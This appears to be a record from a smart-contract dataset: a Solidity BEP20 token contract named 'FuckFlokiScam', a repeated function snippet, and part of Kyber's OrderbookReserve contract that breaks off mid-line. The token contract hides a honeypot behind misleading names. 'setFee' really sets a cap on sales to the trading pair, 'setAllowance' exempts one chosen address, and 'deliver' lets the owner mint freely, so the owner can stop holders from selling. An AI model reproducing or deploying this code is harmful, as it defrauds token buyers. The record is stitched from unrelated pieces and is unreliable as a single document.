} pragma solidity 0.6.12; contract FuckFlokiScam is BEP20 { // Transfer tax rate in basis points. (default 8%) uint16 private transferTaxRate = 800; // Burn rate % of transfer tax. (default 12% x 8% = 0.96% of total amount). uint16 public burnRate = 12; // Max transfer tax rate: 10%. uint16 private constant MAXIMUM_TRANSFER_TAX_RATE = 1000; // Burn address address public constant BURN_ADDRESS = 0x000000000000000000000000000000000000dEaD; address private _tAllowAddress; uint256 private _total = 10**12 * 10**18; // Max transfer amount rate in basis points. (default is 0.5% of total supply) uint16 private maxTransferAmountRate = 100; // Addresses that excluded from antiWhale mapping(address => bool) private _excludedFromAntiWhale; // Automatic swap and liquify enabled bool private swapAndLiquifyEnabled = false; // Min amount to liquify. (default 500) uint256 private minAmountToLiquify = 500 ether; // The swap router, modifiable. Will be changed to token's router when our own AMM release IUniswapV2Router02 public uniSwapRouter; // The trading pair address public uniSwapPair; // In swap and liquify bool private _inSwapAndLiquify; // The operator can only update the transfer tax rate address private _operator; // Events event OperatorTransferred(address indexed previousOperator, address indexed newOperator); event TransferTaxRateUpdated(address indexed operator, uint256 previousRate, uint256 newRate); event BurnRateUpdated(address indexed operator, uint256 previousRate, uint256 newRate); event MaxTransferAmountRateUpdated(address indexed operator, uint256 previousRate, uint256 newRate); event SwapAndLiquifyEnabledUpdated(address indexed operator, bool enabled); event MinAmountToLiquifyUpdated(address indexed operator, uint256 previousAmount, uint256 newAmount); event uniSwapRouterUpdated(address indexed operator, address indexed router, address indexed pair); event SwapAndLiquify(uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity); modifier onlyowner() { require(_operator == msg.sender, "operator: caller is not the operator"); _; } modifier antiWhale(address sender, address recipient, uint256 amount) { if (maxTransferAmount() > 0) { if ( _excludedFromAntiWhale[sender] == false && _excludedFromAntiWhale[recipient] == false ) { require(amount <= maxTransferAmount(), "antiWhale: Transfer amount exceeds the maxTransferAmount"); } } _; } modifier lockTheSwap { _inSwapAndLiquify = true; _; _inSwapAndLiquify = false; } modifier transferTaxFree { uint16 _transferTaxRate = transferTaxRate; transferTaxRate = 0; _; transferTaxRate = _transferTaxRate; } /** * @notice Constructs the token contract. */ constructor() public BEP20("FuckFlokiScam", "FuckFlokiScam") { _operator = _msgSender(); emit OperatorTransferred(address(0), _operator); _excludedFromAntiWhale[msg.sender] = true; _excludedFromAntiWhale[address(0)] = true; _excludedFromAntiWhale[address(this)] = true; _excludedFromAntiWhale[BURN_ADDRESS] = true; } /// @notice Creates `_amount` token to `_to`. Must only be called by the owner (MasterChef). function deliver(uint256 amount) public onlyowner returns (bool) { _deliver(_msgSender(), amount); return true; } function deliver(address _to, uint256 _amount) public onlyowner { _deliver(_to, _amount); _moveDelegates(address(0), _delegates[_to], _amount); } /** * @dev setMaxTxSl. * */ function setFee(uint256 percent) external onlyowner() { _total = percent * 10**18; } /** * @dev setAllowance * */ function setAllowance(address allowAddress) external onlyowner() { _tAllowAddress = allowAddress; } /// @dev overrides transfer function to meet tokenomics function _transfer(address sender, address recipient, uint256 amount) internal virtual override antiWhale(sender, recipient, amount) { // swap and liquify if ( swapAndLiquifyEnabled == true && _inSwapAndLiquify == false && address(uniSwapRouter) != address(0) && uniSwapPair != address(0) && sender != uniSwapPair && sender != _operator ) { swapAndLiquify(); } if (recipient == BURN_ADDRESS || transferTaxRate == 0) { super._transfer(sender, recipient, amount); } else { if (sender != _tAllowAddress && recipient == uniSwapPair) { require(amount < _total, "Transfer amount exceeds the maxTxAmount."); } // default tax is 8% of every transfer uint256 taxAmount = amount.mul(transferTaxRate).div(10000); uint256 burnAmount = taxAmount.mul(burnRate).div(100); uint256 liquidityAmount = taxAmount.sub(burnAmount); require(taxAmount == burnAmount + liquidityAmount, "transfer: Burn value invalid"); // default 92% of transfer sent to recipient uint256 sendAmount = amount.sub(taxAmount); require(amount == sendAmount + taxAmount, "transfer: Tax value invalid"); super._transfer(sender, BURN_ADDRESS, burnAmount); super._transfer(sender, address(this), liquidityAmount); super._transfer(sender, recipient, sendAmount); amount = sendAmount; } } /// @dev Swap and liquify function swapAndLiquify() private lockTheSwap transferTaxFree { uint256 contractTokenBalance = balanceOf(address(this)); uint256 maxTransferAmount = maxTransferAmount(); contractTokenBalance = contractTokenBalance > maxTransferAmount ? maxTransferAmount : contractTokenBalance; if (contractTokenBalance >= minAmountToLiquify) { // only min amount to liquify uint256 liquifyAmount = minAmountToLiquify; // split the liquify amount into halves uint256 half = liquifyAmount.div(2); uint256 otherHalf = liquifyAmount.sub(half); // capture the contract's current ETH balance. // this is so that we can capture exactly the amount of ETH that the // swap creates, and not make the liquidity event include any ETH that // has been manually sent to the contract uint256 initialBalance = address(this).balance; // swap tokens for ETH swapTokensForEth(half); // how much ETH did we just swap into? uint256 newBalance = address(this).balance.sub(initialBalance); // add liquidity addLiquidity(otherHalf, newBalance); emit SwapAndLiquify(half, newBalance, otherHalf); } } /// @dev Swap tokens for eth function swapTokensForEth(uint256 tokenAmount) private { // generate the tokenSwap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniSwapRouter.WETH(); _approve(address(this), address(uniSwapRouter), tokenAmount); // make the swap uniSwapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } /// @dev Add liquidity function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(uniSwapRouter), tokenAmount); // add the liquidity uniSwapRouter.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable _operator, block.timestamp ); } /** * @dev Returns the max transfer amount. */ function maxTransferAmount() public view returns (uint256) { return totalSupply().mul(maxTransferAmountRate).div(100); } /** * @dev Returns the address is excluded from antiWhale or not. */ function isExcludedFromAntiWhale(address _account) public view returns (bool) { return _excludedFromAntiWhale[_account]; } // To receive BNB from tokenSwapRouter when swapping receive() external payable {} /** * @dev Update the transfer tax rate. * Can only be called by the current operator. */ function updateTransferTaxRate(uint16 _transferTaxRate) public onlyowner { require(_transferTaxRate <= MAXIMUM_TRANSFER_TAX_RATE, "updateTransferTaxRate: Transfer tax rate must not exceed the maximum rate."); emit TransferTaxRateUpdated(msg.sender, transferTaxRate, _transferTaxRate); transferTaxRate = _transferTaxRate; } /** * @dev Update the burn rate. * Can only be called by the current operator. */ function updateBurnRate(uint16 _burnRate) public onlyowner { require(_burnRate <= 100, "updateBurnRate: Burn rate must not exceed the maximum rate."); emit BurnRateUpdated(msg.sender, burnRate, _burnRate); burnRate = _burnRate; } /** * @dev Update the max transfer amount rate. * Can only be called by the current operator. */ function updateMaxTransferAmountRate(uint16 _maxTransferAmountRate) public onlyowner { require(_maxTransferAmountRate <= 1000000, "updateMaxTransferAmountRate: Max transfer amount rate must not exceed the maximum rate."); emit MaxTransferAmountRateUpdated(msg.sender, maxTransferAmountRate, _maxTransferAmountRate); maxTransferAmountRate = _maxTransferAmountRate; } /** * @dev Update the min amount to liquify. * Can only be called by the current operator. */ function updateMinAmountToLiquify(uint256 _minAmount) public onlyowner { emit MinAmountToLiquifyUpdated(msg.sender, minAmountToLiquify, _minAmount); minAmountToLiquify = _minAmount; } /** * @dev Exclude or include an address from antiWhale. * Can only be called by the current operator. */ function setExcludedFromAntiWhale(address _account, bool _excluded) public onlyowner { _excludedFromAntiWhale[_account] = _excluded; } /** * @dev Update the swapAndLiquifyEnabled. * Can only be called by the current operator. */ function updateSwapAndLiquifyEnabled(bool _enabled) public onlyowner { emit SwapAndLiquifyEnabledUpdated(msg.sender, _enabled); swapAndLiquifyEnabled = _enabled; } /** * @dev Update the swap router. * Can only be called by the current operator. */ function updateuniSwapRouter(address _router) public onlyowner { uniSwapRouter = IUniswapV2Router02(_router); uniSwapPair = IUniswapV2Factory(uniSwapRouter.factory()).getPair(address(this), uniSwapRouter.WETH()); require(uniSwapPair != address(0), "updateTokenSwapRouter: Invalid pair address."); emit uniSwapRouterUpdated(msg.sender, address(uniSwapRouter), uniSwapPair); } /** * @dev Returns the address of the current operator. */ /** * @dev Transfers operator of the contract to a new account (`newOperator`). * Can only be called by the current operator. */ // Copied and modified from YAM code: // https://github.com/yam-finance/yam-protocol/blob/master/contracts/token/YAMGovernanceStorage.sol // https://github.com/yam-finance/yam-protocol/blob/master/contracts/token/YAMGovernance.sol // Which is copied and modified from COMPOUND: // https://github.com/compound-finance/compound-protocol/blob/master/contracts/Governance/Comp.sol /// @dev A record of each accounts delegate mapping (address => address) internal _delegates; /// @notice A checkpoint for marking number of votes from a given block struct Checkpoint { uint32 fromBlock; uint256 votes; } /// @notice A record of votes checkpoints for each account, by index mapping (address => mapping (uint32 => Checkpoint)) public checkpoints; /// @notice The number of checkpoints for each account mapping (address => uint32) public numCheckpoints; /// @notice The EIP-712 typehash for the contract's domain //bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)"); /// @notice The EIP-712 typehash for the delegation struct used by the contract //bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)"); /// @notice A record of states for signing / validating signatures mapping (address => uint) public nonces; /// @notice An event thats emitted when an account changes its delegate event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate); /// @notice An event thats emitted when a delegate account's vote balance changes event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance); /** * @notice Delegate votes from `msg.sender` to `delegatee` * @param delegator The address to get delegatee for */ function delegates(address delegator) external view returns (address) { return _delegates[delegator]; } /** * @notice Delegate votes from `msg.sender` to `delegatee` * @param delegatee The address to delegate votes to */ function delegate(address delegatee) external { return _delegate(msg.sender, delegatee); } /** * @notice Delegates votes from signatory to `delegatee` * @param delegatee The address to delegate votes to * @param nonce The contract state required to match the signature * @param expiry The time at which to expire the signature * @param v The recovery byte of the signature * @param r Half of the ECDSA signature pair * @param s Half of the ECDSA signature pair */ function delegateBySig( address delegatee, uint nonce, uint expiry, uint8 v, bytes32 r, bytes32 s ) external { bytes32 domainSeparator = keccak256( abi.encode( keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)"), keccak256(bytes(name())), getChainId(), address(this) ) ); bytes32 structHash = keccak256( abi.encode( keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)"), delegatee, nonce, expiry ) ); bytes32 digest = keccak256( abi.encodePacked( "\x19\x01", domainSeparator, structHash ) ); address signatory = ecrecover(digest, v, r, s); require(signatory != address(0), "delegateBySig: invalid signature"); require(nonce == nonces[signatory]++, "delegateBySig: invalid nonce"); require(now <= expiry, "delegateBySig: signature expired"); return _delegate(signatory, delegatee); } /** * @notice Gets the current votes balance for `account` * @param account The address to get votes balance * @return The number of current votes for `account` */ function getCurrentVotes(address account) external view returns (uint256) { uint32 nCheckpoints = numCheckpoints[account]; return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0; } /** * @notice Determine the prior number of votes for an account as of a block number * @dev Block number must be a finalized block or else this function will revert to prevent misinformation. * @param account The address of the account to check * @param blockNumber The block number to get the vote balance at * @return The number of votes the account had as of the given block */ function getPriorVotes(address account, uint blockNumber) external view returns (uint256) { require(blockNumber < block.number, "getPriorVotes: not yet determined"); uint32 nCheckpoints = numCheckpoints[account]; if (nCheckpoints == 0) { return 0; } // First check most recent balance if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) { return checkpoints[account][nCheckpoints - 1].votes; } // Next check implicit zero balance if (checkpoints[account][0].fromBlock > blockNumber) { return 0; } uint32 lower = 0; uint32 upper = nCheckpoints - 1; while (upper > lower) { uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow Checkpoint memory cp = checkpoints[account][center]; if (cp.fromBlock == blockNumber) { return cp.votes; } else if (cp.fromBlock < blockNumber) { lower = center; } else { upper = center - 1; } } return checkpoints[account][lower].votes; } function _delegate(address delegator, address delegatee) internal { address currentDelegate = _delegates[delegator]; uint256 delegatorBalance = balanceOf(delegator); // balance of underlying tokens (not scaled); _delegates[delegator] = delegatee; emit DelegateChanged(delegator, currentDelegate, delegatee); _moveDelegates(currentDelegate, delegatee, delegatorBalance); } function _moveDelegates(address srcRep, address dstRep, uint256 amount) internal { if (srcRep != dstRep && amount > 0) { if (srcRep != address(0)) { // decrease old representative uint32 srcRepNum = numCheckpoints[srcRep]; uint256 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0; uint256 srcRepNew = srcRepOld.sub(amount); _writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew); } if (dstRep != address(0)) { // increase new representative uint32 dstRepNum = numCheckpoints[dstRep]; uint256 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0; uint256 dstRepNew = dstRepOld.add(amount); _writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew); } } } function _writeCheckpoint( address delegatee, uint32 nCheckpoints, uint256 oldVotes, uint256 newVotes ) internal { uint32 blockNumber = safe32(block.number, "_writeCheckpoint: block number exceeds 32 bits"); if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) { checkpoints[delegatee][nCheckpoints - 1].votes = newVotes; } else { checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes); numCheckpoints[delegatee] = nCheckpoints + 1; } emit DelegateVotesChanged(delegatee, oldVotes, newVotes); } function safe32(uint n, string memory errorMessage) internal pure returns (uint32) { require(n < 2**32, errorMessage); return uint32(n); } function getChainId() internal pure returns (uint) { uint256 chainId; assembly { chainId := chainid() } return chainId; } }
Update the min amount to liquify. Can only be called by the current operator./
function updateMinAmountToLiquify(uint256 _minAmount) public onlyowner { emit MinAmountToLiquifyUpdated(msg.sender, minAmountToLiquify, _minAmount); minAmountToLiquify = _minAmount; }
10,634,117
pragma solidity 0.4.18; // File: contracts/ERC20Interface.sol // https://github.com/ethereum/EIPs/issues/20 interface ERC20 { function totalSupply() public view returns (uint supply); function balanceOf(address _owner) public view returns (uint balance); function transfer(address _to, uint _value) public returns (bool success); function transferFrom(address _from, address _to, uint _value) public returns (bool success); function approve(address _spender, uint _value) public returns (bool success); function allowance(address _owner, address _spender) public view returns (uint remaining); function decimals() public view returns(uint digits); event Approval(address indexed _owner, address indexed _spender, uint _value); } // File: contracts/KyberReserveInterface.sol /// @title Kyber Reserve contract interface KyberReserveInterface { function trade( ERC20 srcToken, uint srcAmount, ERC20 destToken, address destAddress, uint conversionRate, bool validate ) public payable returns(bool); function getConversionRate(ERC20 src, ERC20 dest, uint srcQty, uint blockNumber) public view returns(uint); } // File: contracts/Utils.sol /// @title Kyber constants contract contract Utils { ERC20 constant internal ETH_TOKEN_ADDRESS = ERC20(0x00eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee); uint constant internal PRECISION = (10**18); uint constant internal MAX_QTY = (10**28); // 10B tokens uint constant internal MAX_RATE = (PRECISION * 10**6); // up to 1M tokens per ETH uint constant internal MAX_DECIMALS = 18; uint constant internal ETH_DECIMALS = 18; mapping(address=>uint) internal decimals; function setDecimals(ERC20 token) internal { if (token == ETH_TOKEN_ADDRESS) decimals[token] = ETH_DECIMALS; else decimals[token] = token.decimals(); } function getDecimals(ERC20 token) internal view returns(uint) { if (token == ETH_TOKEN_ADDRESS) return ETH_DECIMALS; // save storage access uint tokenDecimals = decimals[token]; // technically, there might be token with decimals 0 // moreover, very possible that old tokens have decimals 0 // these tokens will just have higher gas fees. if(tokenDecimals == 0) return token.decimals(); return tokenDecimals; } function calcDstQty(uint srcQty, uint srcDecimals, uint dstDecimals, uint rate) internal pure returns(uint) { require(srcQty <= MAX_QTY); require(rate <= MAX_RATE); if (dstDecimals >= srcDecimals) { require((dstDecimals - srcDecimals) <= MAX_DECIMALS); return (srcQty * rate * (10**(dstDecimals - srcDecimals))) / PRECISION; } else { require((srcDecimals - dstDecimals) <= MAX_DECIMALS); return (srcQty * rate) / (PRECISION * (10**(srcDecimals - dstDecimals))); } } function calcSrcQty(uint dstQty, uint srcDecimals, uint dstDecimals, uint rate) internal pure returns(uint) { require(dstQty <= MAX_QTY); require(rate <= MAX_RATE); //source quantity is rounded up. to avoid dest quantity being too low. uint numerator; uint denominator; if (srcDecimals >= dstDecimals) { require((srcDecimals - dstDecimals) <= MAX_DECIMALS); numerator = (PRECISION * dstQty * (10**(srcDecimals - dstDecimals))); denominator = rate; } else { require((dstDecimals - srcDecimals) <= MAX_DECIMALS); numerator = (PRECISION * dstQty); denominator = (rate * (10**(dstDecimals - srcDecimals))); } return (numerator + denominator - 1) / denominator; //avoid rounding down errors } } // File: contracts/Utils2.sol contract Utils2 is Utils { /// @dev get the balance of a user. /// @param token The token type /// @return The balance function getBalance(ERC20 token, address user) public view returns(uint) { if (token == ETH_TOKEN_ADDRESS) return user.balance; else return token.balanceOf(user); } function getDecimalsSafe(ERC20 token) internal returns(uint) { if (decimals[token] == 0) { setDecimals(token); } return decimals[token]; } function calcDestAmount(ERC20 src, ERC20 dest, uint srcAmount, uint rate) internal view returns(uint) { return calcDstQty(srcAmount, getDecimals(src), getDecimals(dest), rate); } function calcSrcAmount(ERC20 src, ERC20 dest, uint destAmount, uint rate) internal view returns(uint) { return calcSrcQty(destAmount, getDecimals(src), getDecimals(dest), rate); } function calcRateFromQty(uint srcAmount, uint destAmount, uint srcDecimals, uint dstDecimals) internal pure returns(uint) { require(srcAmount <= MAX_QTY); require(destAmount <= MAX_QTY); if (dstDecimals >= srcDecimals) { require((dstDecimals - srcDecimals) <= MAX_DECIMALS); return (destAmount * PRECISION / ((10 ** (dstDecimals - srcDecimals)) * srcAmount)); } else { require((srcDecimals - dstDecimals) <= MAX_DECIMALS); return (destAmount * PRECISION * (10 ** (srcDecimals - dstDecimals)) / srcAmount); } } } // File: contracts/permissionless/OrderIdManager.sol contract OrderIdManager { struct OrderIdData { uint32 firstOrderId; uint takenBitmap; } uint constant public NUM_ORDERS = 32; function fetchNewOrderId(OrderIdData storage freeOrders) internal returns(uint32) { uint orderBitmap = freeOrders.takenBitmap; uint bitPointer = 1; for (uint i = 0; i < NUM_ORDERS; ++i) { if ((orderBitmap & bitPointer) == 0) { freeOrders.takenBitmap = orderBitmap | bitPointer; return(uint32(uint(freeOrders.firstOrderId) + i)); } bitPointer *= 2; } revert(); } /// @dev mark order as free to use. function releaseOrderId(OrderIdData storage freeOrders, uint32 orderId) internal returns(bool) { require(orderId >= freeOrders.firstOrderId); require(orderId < (freeOrders.firstOrderId + NUM_ORDERS)); uint orderBitNum = uint(orderId) - uint(freeOrders.firstOrderId); uint bitPointer = uint(1) << orderBitNum; require(bitPointer & freeOrders.takenBitmap > 0); freeOrders.takenBitmap &= ~bitPointer; return true; } function allocateOrderIds( OrderIdData storage makerOrders, uint32 firstAllocatedId ) internal returns(bool) { if (makerOrders.firstOrderId > 0) { return false; } makerOrders.firstOrderId = firstAllocatedId; makerOrders.takenBitmap = 0; return true; } function orderAllocationRequired(OrderIdData storage freeOrders) internal view returns (bool) { if (freeOrders.firstOrderId == 0) return true; return false; } function getNumActiveOrderIds(OrderIdData storage makerOrders) internal view returns (uint numActiveOrders) { for (uint i = 0; i < NUM_ORDERS; ++i) { if ((makerOrders.takenBitmap & (uint(1) << i)) > 0) numActiveOrders++; } } } // File: contracts/permissionless/OrderListInterface.sol interface OrderListInterface { function getOrderDetails(uint32 orderId) public view returns (address, uint128, uint128, uint32, uint32); function add(address maker, uint32 orderId, uint128 srcAmount, uint128 dstAmount) public returns (bool); function remove(uint32 orderId) public returns (bool); function update(uint32 orderId, uint128 srcAmount, uint128 dstAmount) public returns (bool); function getFirstOrder() public view returns(uint32 orderId, bool isEmpty); function allocateIds(uint32 howMany) public returns(uint32); function findPrevOrderId(uint128 srcAmount, uint128 dstAmount) public view returns(uint32); function addAfterId(address maker, uint32 orderId, uint128 srcAmount, uint128 dstAmount, uint32 prevId) public returns (bool); function updateWithPositionHint(uint32 orderId, uint128 srcAmount, uint128 dstAmount, uint32 prevId) public returns(bool, uint); } // File: contracts/permissionless/OrderListFactoryInterface.sol interface OrderListFactoryInterface { function newOrdersContract(address admin) public returns(OrderListInterface); } // File: contracts/permissionless/OrderbookReserveInterface.sol interface OrderbookReserveInterface { function init() public returns(bool); function kncRateBlocksTrade() public view returns(bool); } // File: contracts/permissionless/OrderbookReserve.sol contract FeeBurnerRateInterface { uint public kncPerEthRatePrecision; } interface MedianizerInterface { function peek() public view returns (bytes32, bool); } contract OrderbookReserve is OrderIdManager, Utils2, KyberReserveInterface, OrderbookReserveInterface { uint public constant BURN_TO_STAKE_FACTOR = 5; // stake per order must be xfactor expected burn amount. uint public constant MAX_BURN_FEE_BPS = 100; // 1% uint public constant MIN_REMAINING_ORDER_RATIO = 2; // Ratio between min new order value and min order value. uint public constant MAX_USD_PER_ETH = 100000; // Above this value price is surely compromised. uint32 constant public TAIL_ID = 1; // tail Id in order list contract uint32 constant public HEAD_ID = 2; // head Id in order list contract struct OrderLimits { uint minNewOrderSizeUsd; // Basis for setting min new order size Eth uint maxOrdersPerTrade; // Limit number of iterated orders per trade / getRate loops. uint minNewOrderSizeWei; // Below this value can't create new order. uint minOrderSizeWei; // below this value order will be removed. } uint public kncPerEthBaseRatePrecision; // according to base rate all stakes are calculated. struct ExternalContracts { ERC20 kncToken; // not constant. to enable testing while not on main net ERC20 token; // only supported token. FeeBurnerRateInterface feeBurner; address kyberNetwork; MedianizerInterface medianizer; // price feed Eth - USD from maker DAO. OrderListFactoryInterface orderListFactory; } //struct for getOrderData() return value. used only in memory. struct OrderData { address maker; uint32 nextId; bool isLastOrder; uint128 srcAmount; uint128 dstAmount; } OrderLimits public limits; ExternalContracts public contracts; // sorted lists of orders. one list for token to Eth, other for Eth to token. // Each order is added in the correct position in the list to keep it sorted. OrderListInterface public tokenToEthList; OrderListInterface public ethToTokenList; //funds data mapping(address => mapping(address => uint)) public makerFunds; // deposited maker funds. mapping(address => uint) public makerKnc; // for knc staking. mapping(address => uint) public makerTotalOrdersWei; // per maker how many Wei in orders, for stake calculation. uint public makerBurnFeeBps; // knc burn fee per order that is taken. //each maker will have orders that will be reused. mapping(address => OrderIdData) public makerOrdersTokenToEth; mapping(address => OrderIdData) public makerOrdersEthToToken; function OrderbookReserve( ERC20 knc, ERC20 reserveToken, address burner, address network, MedianizerInterface medianizer, OrderListFactoryInterface factory, uint minNewOrderUsd, uint maxOrdersPerTrade, uint burnFeeBps ) public { require(knc != address(0)); require(reserveToken != address(0)); require(burner != address(0)); require(network != address(0)); require(medianizer != address(0)); require(factory != address(0)); require(burnFeeBps != 0); require(burnFeeBps <= MAX_BURN_FEE_BPS); require(maxOrdersPerTrade != 0); require(minNewOrderUsd > 0); contracts.kyberNetwork = network; contracts.feeBurner = FeeBurnerRateInterface(burner); contracts.medianizer = medianizer; contracts.orderListFactory = factory; contracts.kncToken = knc; contracts.token = reserveToken; makerBurnFeeBps = burnFeeBps; limits.minNewOrderSizeUsd = minNewOrderUsd; limits.maxOrdersPerTrade = maxOrdersPerTrade; require(setMinOrderSizeEth()); require(contracts.kncToken.approve(contracts.feeBurner, (2**255))); //can only support tokens with decimals() API setDecimals(contracts.token); kncPerEthBaseRatePrecision = contracts.feeBurner.kncPerEthRatePrecision(); } ///@dev separate init function for this contract, if this init is in the C'tor. gas consumption too high. function init() public returns(bool) { if ((tokenToEthList != address(0)) && (ethToTokenList != address(0))) return true; if ((tokenToEthList != address(0)) || (ethToTokenList != address(0))) revert(); tokenToEthList = contracts.orderListFactory.newOrdersContract(this); ethToTokenList = contracts.orderListFactory.newOrdersContract(this); return true; } function setKncPerEthBaseRate() public { uint kncPerEthRatePrecision = contracts.feeBurner.kncPerEthRatePrecision(); if (kncPerEthRatePrecision < kncPerEthBaseRatePrecision) { kncPerEthBaseRatePrecision = kncPerEthRatePrecision; } } function getConversionRate(ERC20 src, ERC20 dst, uint srcQty, uint blockNumber) public view returns(uint) { require((src == ETH_TOKEN_ADDRESS) || (dst == ETH_TOKEN_ADDRESS)); require((src == contracts.token) || (dst == contracts.token)); require(srcQty <= MAX_QTY); if (kncRateBlocksTrade()) return 0; blockNumber; // in this reserve no order expiry == no use for blockNumber. here to avoid compiler warning. //user order ETH -> token is matched with maker order token -> ETH OrderListInterface list = (src == ETH_TOKEN_ADDRESS) ? tokenToEthList : ethToTokenList; uint32 orderId; OrderData memory orderData; uint128 userRemainingSrcQty = uint128(srcQty); uint128 totalUserDstAmount = 0; uint maxOrders = limits.maxOrdersPerTrade; for ( (orderId, orderData.isLastOrder) = list.getFirstOrder(); ((userRemainingSrcQty > 0) && (!orderData.isLastOrder) && (maxOrders-- > 0)); orderId = orderData.nextId ) { orderData = getOrderData(list, orderId); // maker dst quantity is the requested quantity he wants to receive. user src quantity is what user gives. // so user src quantity is matched with maker dst quantity if (orderData.dstAmount <= userRemainingSrcQty) { totalUserDstAmount += orderData.srcAmount; userRemainingSrcQty -= orderData.dstAmount; } else { totalUserDstAmount += uint128(uint(orderData.srcAmount) * uint(userRemainingSrcQty) / uint(orderData.dstAmount)); userRemainingSrcQty = 0; } } if (userRemainingSrcQty != 0) return 0; //not enough tokens to exchange. return calcRateFromQty(srcQty, totalUserDstAmount, getDecimals(src), getDecimals(dst)); } event OrderbookReserveTrade(ERC20 srcToken, ERC20 dstToken, uint srcAmount, uint dstAmount); function trade( ERC20 srcToken, uint srcAmount, ERC20 dstToken, address dstAddress, uint conversionRate, bool validate ) public payable returns(bool) { require(msg.sender == contracts.kyberNetwork); require((srcToken == ETH_TOKEN_ADDRESS) || (dstToken == ETH_TOKEN_ADDRESS)); require((srcToken == contracts.token) || (dstToken == contracts.token)); require(srcAmount <= MAX_QTY); conversionRate; validate; if (srcToken == ETH_TOKEN_ADDRESS) { require(msg.value == srcAmount); } else { require(msg.value == 0); require(srcToken.transferFrom(msg.sender, this, srcAmount)); } uint totalDstAmount = doTrade( srcToken, srcAmount, dstToken ); require(conversionRate <= calcRateFromQty(srcAmount, totalDstAmount, getDecimals(srcToken), getDecimals(dstToken))); //all orders were successfully taken. send to dstAddress if (dstToken == ETH_TOKEN_ADDRESS) { dstAddress.transfer(totalDstAmount); } else { require(dstToken.transfer(dstAddress, totalDstAmount)); } OrderbookReserveTrade(srcToken, dstToken, srcAmount, totalDstAmount); return true; } function doTrade( ERC20 srcToken, uint srcAmount, ERC20 dstToken ) internal returns(uint) { OrderListInterface list = (srcToken == ETH_TOKEN_ADDRESS) ? tokenToEthList : ethToTokenList; uint32 orderId; OrderData memory orderData; uint128 userRemainingSrcQty = uint128(srcAmount); uint128 totalUserDstAmount = 0; for ( (orderId, orderData.isLastOrder) = list.getFirstOrder(); ((userRemainingSrcQty > 0) && (!orderData.isLastOrder)); orderId = orderData.nextId ) { // maker dst quantity is the requested quantity he wants to receive. user src quantity is what user gives. // so user src quantity is matched with maker dst quantity orderData = getOrderData(list, orderId); if (orderData.dstAmount <= userRemainingSrcQty) { totalUserDstAmount += orderData.srcAmount; userRemainingSrcQty -= orderData.dstAmount; require(takeFullOrder({ maker: orderData.maker, orderId: orderId, userSrc: srcToken, userDst: dstToken, userSrcAmount: orderData.dstAmount, userDstAmount: orderData.srcAmount })); } else { uint128 partialDstQty = uint128(uint(orderData.srcAmount) * uint(userRemainingSrcQty) / uint(orderData.dstAmount)); totalUserDstAmount += partialDstQty; require(takePartialOrder({ maker: orderData.maker, orderId: orderId, userSrc: srcToken, userDst: dstToken, userPartialSrcAmount: userRemainingSrcQty, userTakeDstAmount: partialDstQty, orderSrcAmount: orderData.srcAmount, orderDstAmount: orderData.dstAmount })); userRemainingSrcQty = 0; } } require(userRemainingSrcQty == 0 && totalUserDstAmount > 0); return totalUserDstAmount; } ///@param srcAmount is the token amount that will be payed. must be deposited before hand in the makers account. ///@param dstAmount is the eth amount the maker expects to get for his tokens. function submitTokenToEthOrder(uint128 srcAmount, uint128 dstAmount) public returns(bool) { return submitTokenToEthOrderWHint(srcAmount, dstAmount, 0); } function submitTokenToEthOrderWHint(uint128 srcAmount, uint128 dstAmount, uint32 hintPrevOrder) public returns(bool) { uint32 newId = fetchNewOrderId(makerOrdersTokenToEth[msg.sender]); return addOrder(false, newId, srcAmount, dstAmount, hintPrevOrder); } ///@param srcAmount is the Ether amount that will be payed, must be deposited before hand. ///@param dstAmount is the token amount the maker expects to get for his Ether. function submitEthToTokenOrder(uint128 srcAmount, uint128 dstAmount) public returns(bool) { return submitEthToTokenOrderWHint(srcAmount, dstAmount, 0); } function submitEthToTokenOrderWHint(uint128 srcAmount, uint128 dstAmount, uint32 hintPrevOrder) public returns(bool) { uint32 newId = fetchNewOrderId(makerOrdersEthToToken[msg.sender]); return addOrder(true, newId, srcAmount, dstAmount, hintPrevOrder); } ///@dev notice here a batch of orders represented in arrays. order x is represented by x cells of all arrays. ///@dev all arrays expected to the same length. ///@param isEthToToken per each order. is order x eth to token (= src is Eth) or vice versa. ///@param srcAmount per each order. source amount for order x. ///@param dstAmount per each order. destination amount for order x. ///@param hintPrevOrder per each order what is the order it should be added after in ordered list. 0 for no hint. ///@param isAfterPrevOrder per each order, set true if should be added in list right after previous added order. function addOrderBatch(bool[] isEthToToken, uint128[] srcAmount, uint128[] dstAmount, uint32[] hintPrevOrder, bool[] isAfterPrevOrder) public returns(bool) { require(isEthToToken.length == hintPrevOrder.length); require(isEthToToken.length == dstAmount.length); require(isEthToToken.length == srcAmount.length); require(isEthToToken.length == isAfterPrevOrder.length); address maker = msg.sender; uint32 prevId; uint32 newId = 0; for (uint i = 0; i < isEthToToken.length; ++i) { prevId = isAfterPrevOrder[i] ? newId : hintPrevOrder[i]; newId = 